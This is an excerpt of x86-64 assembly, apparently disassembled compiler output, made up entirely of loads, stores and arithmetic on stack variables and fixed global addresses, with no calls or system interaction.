mov rcx, qword [rsp + 0x9748]
mov qword [rsp + 0xaf90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9440], rax
lea rax, [rsp + 0x518c]
mov qword [rsp + 0xaf98], rax
mov eax, dword [rsp + 0x4cbc]
mov rcx, qword [rsp + 0x9fb0]
mov qword [rsp + 0xafa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafa0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9cd8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x11fc]
mov rcx, qword [rsp + 0xa4b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401e8a28]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f58]
movzx eax, byte [rax]
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12ac], ax
mov rax, qword [0x1401e8868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1298]
and eax, ecx
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0x9e90]
movzx eax, byte [rax]
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0xa8f0]
mov rcx, qword [rsp + 0xa4b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaca8], rax
mov rax, qword [rsp + 0xac30]
mov eax, dword [rax]
mov dword [rsp + 0x51d4], eax
mov eax, dword [rsp + 0x4f80]
mov ecx, dword [rsp + 0x4f14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7c8]
mov dword [rcx], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
lea rax, [rsp + 0x1030]
mov qword [0x1401e8c20], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0xafa8], rax
movsx eax, byte [rsp + 0x15f]
movsx ecx, byte [rsp + 0x126]
add eax, ecx
mov rcx, qword [rsp + 0x9f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a48]
movzx eax, word [rax]
mov word [rsp + 0x13f0], ax
mov rax, qword [rsp + 0xade0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13a4], ax
mov eax, dword [rsp + 0x4f44]
mov dword [rsp + 0x51d8], eax
mov rax, qword [rsp + 0xab60]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa1c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0xaab8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa680], rax
mov rax, qword [rsp + 0xabb0]
mov qword [rsp + 0xafb0], rax
mov rax, qword [rsp + 0x8f38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e88f0], ax
movzx eax, byte [rsp + 0x131]
movzx ecx, byte [rsp + 0xe7]
shl eax, cl
mov byte [rsp + 0x130], al
lea rax, [rsp + 0x115]
mov qword [rsp + 0xafb8], rax
movzx eax, byte [rsp + 0x106]
movzx ecx, byte [rsp + 0x162]
sar eax, cl
mov rcx, qword [rsp + 0x9a20]
mov byte [rcx], al
movsx eax, word [rsp + 0x1034]
movsx ecx, word [rsp + 0x12a0]
or eax, ecx
mov rcx, qword [rsp + 0xaf10]
mov word [rcx], ax
lea rax, [rsp + 0x97e8]
mov qword [rsp + 0xafc0], rax
mov rax, qword [rsp + 0xaa38]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d44]
mov dword [rsp + 0x51dc], eax
mov rax, qword [rsp + 0xa750]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9a88]
mov qword [rcx], rax
mov rax, qword [0x1401e8b18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1304]
sub eax, ecx
mov word [0x1401e7060], ax
mov rax, qword [rsp + 0xaca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb9]
and eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x9160]
movzx eax, word [rax]
mov word [rsp + 0x13f4], ax
mov rax, qword [rsp + 0x9270]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
sub eax, ecx
mov byte [rsp + 0x135], al
lea rax, [rsp + 0x11e]
mov qword [rsp + 0xafc8], rax
mov rax, qword [rsp + 0xa0b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50f4], eax
mov rax, qword [rsp + 0xa380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9db8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94c8]
mov qword [rcx], rax
lea rax, [rsp + 0x5014]
mov qword [rsp + 0xafd0], rax
mov rax, qword [rsp + 0x8e40]
mov rcx, qword [rsp + 0x9b30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2f0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x129c]
mov rcx, qword [rsp + 0xa220]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e70fc], ax
movzx eax, word [rsp + 0x106c]
mov word [rsp + 0x13f8], ax
movsx eax, byte [rsp + 0x136]
mov rcx, qword [0x1401e8bd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x174], al
movsx eax, word [rsp + 0x1150]
movsx ecx, word [rsp + 0x12ec]
sub eax, ecx
mov rcx, qword [rsp + 0xa8a0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4fc4]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c38]
mov eax, dword [rax]
mov dword [rsp + 0x51e0], eax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9e00]
mov qword [rcx], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0xafd8], rax
movzx eax, byte [rsp + 0x124]
mov rcx, qword [rsp + 0xaf30]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401e8b80]
mov byte [rcx], al
movsx eax, byte [rsp + 0x169]
mov rcx, qword [rsp + 0xa0c8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0x9be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
sar eax, cl
mov rcx, qword [rsp + 0x9be8]
mov word [rcx], ax
lea rax, [rsp + 0x1128]
mov qword [rsp + 0xafe0], rax
mov rax, qword [rsp + 0xaab0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11d8], ax
lea rax, [0x1401e7008]
mov qword [rsp + 0xafe8], rax
mov eax, dword [rsp + 0x4e84]
mov ecx, dword [rsp + 0x4e34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5148], eax
mov rax, qword [rsp + 0x9358]
mov rcx, qword [rsp + 0xa308]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0xa6d0]
mov qword [rsp + 0xaff0], rax
mov rax, qword [rsp + 0xa598]
movzx eax, byte [rax]
mov byte [0x1401e888c], al
mov rax, qword [rsp + 0x9ab8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1378]
and eax, ecx
mov word [rsp + 0x1014], ax
lea rax, [0x1401e7074]
mov qword [rsp + 0xaff8], rax
movsx eax, byte [rsp + 0xff]
mov rcx, qword [rsp + 0x9fc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd2], al
lea rax, [rsp + 0xa9]
mov qword [rsp + 0xb000], rax
mov rax, qword [rsp + 0x9e68]
mov rcx, qword [rsp + 0xaef0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xac30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5134]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5098], eax
lea rax, [rsp + 0xad90]
mov qword [rsp + 0xb008], rax
mov rax, qword [rsp + 0x92f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab40]
mov dword [rcx], eax
lea rax, [rsp + 0x11b8]
mov qword [rsp + 0xb010], rax
mov rax, qword [rsp + 0x9f40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaef8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8808]
mov byte [rcx], al
movzx eax, word [rsp + 0x1138]
movzx ecx, word [0x1401e8ab8]
shl eax, cl
mov rcx, qword [rsp + 0x9e08]
mov word [rcx], ax
mov rax, qword [rsp + 0xa840]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9830]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa150]
mov byte [rcx], al
lea rax, [rsp + 0x12c8]
mov qword [rsp + 0xb018], rax
mov rax, qword [rsp + 0xa730]
mov rcx, qword [rsp + 0xabf0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xaee8], rax
lea rax, [rsp + 0x9da8]
mov qword [rsp + 0xb020], rax
mov rax, qword [rsp + 0xaaa8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8b48]
mov qword [rsp + 0xb028], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb028]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a30]
mov rcx, qword [rsp + 0x9dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x513c], eax
lea rax, [rsp + 0x167]
mov qword [rsp + 0xb030], rax
mov rax, qword [rsp + 0x9828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11bc]
sub eax, ecx
mov word [0x1401e7100], ax
mov rax, qword [rsp + 0x9618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11cc]
sub eax, ecx
mov rcx, qword [rsp + 0xa418]
mov word [rcx], ax
lea rax, [rsp + 0x113]
mov qword [rsp + 0xb038], rax
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13d0], ax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x9118]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50d4], eax
mov rax, qword [rsp + 0x99b0]
mov qword [rsp + 0xb040], rax
mov rax, qword [rsp + 0xa800]
mov rcx, qword [rsp + 0x98a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x94f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5024]
mov dword [rsp + 0x51e4], eax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa970]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x9718]
movsx eax, word [rax]
mov rcx, qword [0x1401e8820]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7104], ax
mov rax, qword [rsp + 0x9908]
movzx eax, byte [rax]
mov byte [rsp + 0x175], al
movzx eax, byte [rsp + 0x11e]
movzx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0xac00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x174], al
mov rax, qword [rsp + 0x9e30]
mov eax, dword [rax]
mov dword [rsp + 0x51e8], eax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x51d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fb0]
mov dword [rcx], eax
lea rax, [rsp + 0x95a8]
mov qword [rsp + 0xb048], rax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fa0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaba0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11bc]
shl eax, cl
mov word [rsp + 0x1298], ax
mov rax, qword [rsp + 0x9cf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401e70a0], ax
lea rax, [rsp + 0x1114]
mov qword [rsp + 0xb050], rax
movzx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0xac58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa840]
mov byte [rcx], al
lea rax, [0x1401e7067]
mov qword [rsp + 0xb058], rax
movsx eax, word [rsp + 0x1264]
mov rcx, qword [rsp + 0x9d68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12f4], ax
mov rax, qword [rsp + 0xa750]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa750]
mov qword [rcx], rax
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x51ec], eax
mov eax, dword [rsp + 0x4f68]
mov ecx, dword [rsp + 0x51a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91f8]
mov dword [rcx], eax
lea rax, [rsp + 0xaab8]
mov qword [rsp + 0xb060], rax
lea rax, [rsp + 0xb9]
mov qword [0x1401e8c28], rax
mov rax, qword [0x1401e8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13a], al
lea rax, [rsp + 0x1138]
mov qword [rsp + 0xb068], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e8795]
sub eax, ecx
mov rcx, qword [rsp + 0x9ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12ec]
and eax, ecx
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0xa6f0]
mov qword [rsp + 0xb070], rax
mov rax, qword [rsp + 0xab48]
mov rcx, qword [rsp + 0x9c70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9728]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa280]
mov eax, dword [rax]
mov dword [rsp + 0x51f0], eax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0xaad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f64], eax
mov rax, qword [rsp + 0xa888]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaf]
add eax, ecx
mov byte [0x1401e703f], al
movzx eax, word [rsp + 0x13b4]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9528]
mov word [rcx], ax
lea rax, [rsp + 0x1118]
mov qword [rsp + 0xb078], rax
movsx eax, word [rsp + 0x118c]
movsx ecx, word [0x1401e70e8]
or eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x176], al
mov rax, qword [rsp + 0x9c70]
movzx ecx, al
mov rax, qword [rsp + 0xa7c0]
shl rax, cl
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0xa9a8]
mov rcx, qword [rsp + 0x9d18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5004], eax
mov rax, qword [rsp + 0x9fd8]
mov qword [rsp + 0xb080], rax
mov rax, qword [rsp + 0xab98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa1d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa898]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e707f], al
mov rax, qword [rsp + 0xa6f8]
movzx eax, byte [rax]
mov byte [rsp + 0x177], al
movzx eax, word [rsp + 0x13a0]
mov rcx, qword [rsp + 0x97f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa958]
mov word [rcx], ax
mov rax, qword [0x1401e8a28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1268]
add eax, ecx
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0xac28]
movzx eax, byte [rax]
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0xab40]
mov rcx, qword [rsp + 0x9890]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fcc], eax
lea rax, [0x1401e7008]
mov qword [rsp + 0xb088], rax
mov rax, qword [rsp + 0x92a8]
mov rcx, qword [rsp + 0x9698]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa278]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ee8]
mov rax, qword [rax]
mov qword [rsp + 0xb090], rax
mov rax, qword [rsp + 0x9de0]
movzx eax, word [rax]
mov word [0x1401e8c30], ax
movsx eax, word [rsp + 0x1110]
movsx ecx, word [rsp + 0x1124]
add eax, ecx
mov rcx, qword [rsp + 0xa640]
mov word [rcx], ax
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0xce]
and eax, ecx
mov byte [rsp + 0x152], al
lea rax, [rsp + 0x135]
mov qword [rsp + 0xb098], rax
mov rax, qword [rsp + 0x9a98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x126c]
sub eax, ecx
mov word [rsp + 0x13c8], ax
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
mov dword [rsp + 0x51f4], eax
mov rax, qword [rsp + 0x9f20]
mov rcx, qword [rsp + 0x9000]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xac48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb0]
mov rcx, qword [rsp + 0xad68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa768], rax
mov rax, qword [rsp + 0x94d0]
mov qword [rsp + 0xb0a0], rax
movsx eax, byte [rsp + 0x143]
mov rcx, qword [0x1401e8910]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e87a7], al
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [rsp + 0xa9]
shl eax, cl
mov rcx, qword [rsp + 0x93b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov word [rsp + 0x13fc], ax
movsx eax, byte [rsp + 0xd1]
mov rcx, qword [0x1401e8810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa530]
mov byte [rcx], al
movzx eax, word [rsp + 0x1048]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa6c0]
mov word [rcx], ax
lea rax, [rsp + 0x4f9c]
mov qword [rsp + 0xb0a8], rax
mov rax, qword [rsp + 0xa748]
mov rcx, qword [rsp + 0x9fe0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff0], rax
mov eax, dword [rsp + 0x4db4]
mov dword [rsp + 0x51f8], eax
mov rax, qword [rsp + 0xa8b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xadc0]
mov qword [rcx], rax
mov rax, qword [0x1401e8818]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [0x1401e7083], al
mov rax, qword [rsp + 0x99f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9548]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbf], al
lea rax, [rsp + 0x113]
mov qword [rsp + 0xb0b0], rax
movsx eax, word [rsp + 0x1108]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1250], ax
movzx eax, word [rsp + 0x1210]
mov word [rsp + 0x1400], ax
mov rax, qword [rsp + 0xa2b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5020]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0xb0b8], rax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x93a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x50d0]
mov ecx, dword [rsp + 0x4fdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5000], eax
movzx eax, byte [rsp + 0x13d]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1401e8818]
mov byte [rcx], al
mov rax, qword [rsp + 0x97a0]
movzx eax, byte [rax]
mov byte [rsp + 0x179], al
movzx eax, word [rsp + 0x11b4]
mov rcx, qword [0x1401e87e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x12f0], ax
movzx eax, word [rsp + 0x1078]
mov word [rsp + 0x1404], ax
mov rax, qword [rsp + 0x9718]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1248]
shl eax, cl
mov rcx, qword [rsp + 0x9a48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9140]
mov ecx, dword [rsp + 0x4eb8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4f80], eax
lea rax, [rsp + 0xae60]
mov qword [rsp + 0xb0c0], rax
mov eax, dword [rsp + 0x4fa8]
mov ecx, dword [rsp + 0x51b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9af0]
mov rax, qword [rax]
mov qword [rsp + 0xb0c8], rax
movzx eax, byte [0x1401e87f7]
mov rcx, qword [rsp + 0x9bf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa210]
mov byte [rcx], al
movsx eax, byte [rsp + 0x86]
movsx ecx, byte [rsp + 0x166]
and eax, ecx
mov byte [0x1401e7086], al
mov rax, qword [0x1401e8a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1348]
add eax, ecx
mov word [rsp + 0x12d4], ax
lea rax, [rsp + 0x107c]
mov qword [rsp + 0xb0d0], rax
movzx eax, byte [rsp + 0x127]
movzx ecx, byte [rsp + 0x95]
add eax, ecx
mov rcx, qword [rsp + 0x9060]
mov byte [rcx], al
lea rax, [rsp + 0x51a8]
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0x9088]
mov rcx, qword [rsp + 0xab80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xac80], rax
lea rax, [rsp + 0x5164]
mov qword [rsp + 0xb0e0], rax
mov rax, qword [rsp + 0xa3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d38]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x12b]
mov rcx, qword [rsp + 0xaa30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x178], al
movsx eax, word [rsp + 0x12b8]
mov rcx, qword [rsp + 0xa8a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e88d8], ax
lea rax, [rsp + 0x11b0]
mov qword [rsp + 0xb0e8], rax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8a], al
lea rax, [rsp + 0x98]
mov qword [rsp + 0xb0f0], rax
mov rax, qword [rsp + 0xa9a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad70]
mov rcx, qword [rsp + 0xa8b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x95f8], rax
lea rax, [rsp + 0x8fb8]
mov qword [rsp + 0xb0f8], rax
mov eax, dword [rsp + 0x4fdc]
mov rcx, qword [rsp + 0xb088]
mov qword [rsp + 0xb100], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb100]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0x17a], al
movzx eax, word [rsp + 0x1094]
mov word [0x1401e8c34], ax
mov rax, qword [rsp + 0xa958]
movzx eax, word [rax]
mov rcx, qword [0x1401e8ba8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9528]
mov word [rcx], ax
movsx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0xadb8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0xb010]
movzx eax, word [rax]
mov word [rsp + 0x1408], ax
mov rax, qword [rsp + 0x9e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ddc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5014], eax
mov rax, qword [rsp + 0x8ee8]
mov rax, qword [rax]
mov qword [rsp + 0xb108], rax
mov eax, dword [rsp + 0x4ecc]
mov ecx, dword [rsp + 0x4f58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x517c], eax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9ec8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb040], rax
mov rax, qword [rsp + 0x9950]
movzx eax, word [rax]
mov word [rsp + 0x140c], ax
movsx eax, word [rsp + 0x1234]
movsx ecx, word [rsp + 0x13e8]
and eax, ecx
mov word [0x1401e7108], ax
mov rax, qword [0x1401e8b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0x17b], al
mov rax, qword [rsp + 0xa040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9a]
add eax, ecx
mov byte [rsp + 0xde], al
movzx eax, byte [rsp + 0x137]
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0x9e48]
mov rcx, qword [rsp + 0xafd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51e0], eax
mov rax, qword [rsp + 0xa588]
mov ecx, dword [rsp + 0x4fe0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9de8]
mov dword [rcx], eax
lea rax, [rsp + 0x9c70]
mov qword [rsp + 0xb110], rax
mov rax, qword [rsp + 0xa930]
mov rcx, qword [rsp + 0x9a40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa5b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e888b], al
lea rax, [rsp + 0x1054]
mov qword [rsp + 0xb118], rax
mov rax, qword [rsp + 0xa398]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa128]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x127c], ax
movzx eax, byte [rsp + 0xb3]
movzx ecx, byte [rsp + 0x158]
shl eax, cl
mov byte [rsp + 0x173], al
movzx eax, word [rsp + 0x13f8]
mov word [rsp + 0x1410], ax
mov rax, qword [rsp + 0xa0b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9138]
mov qword [rsp + 0xb120], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb120]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x51f0], eax
mov rax, qword [rsp + 0xa9d8]
mov eax, dword [rax]
mov dword [rsp + 0x51fc], eax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa028], rax
mov rax, qword [rsp + 0x9f18]
mov rcx, qword [rsp + 0xb110]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab68], rax
lea rax, [rsp + 0x1068]
mov qword [0x1401e8c38], rax
movzx eax, byte [rsp + 0xcb]
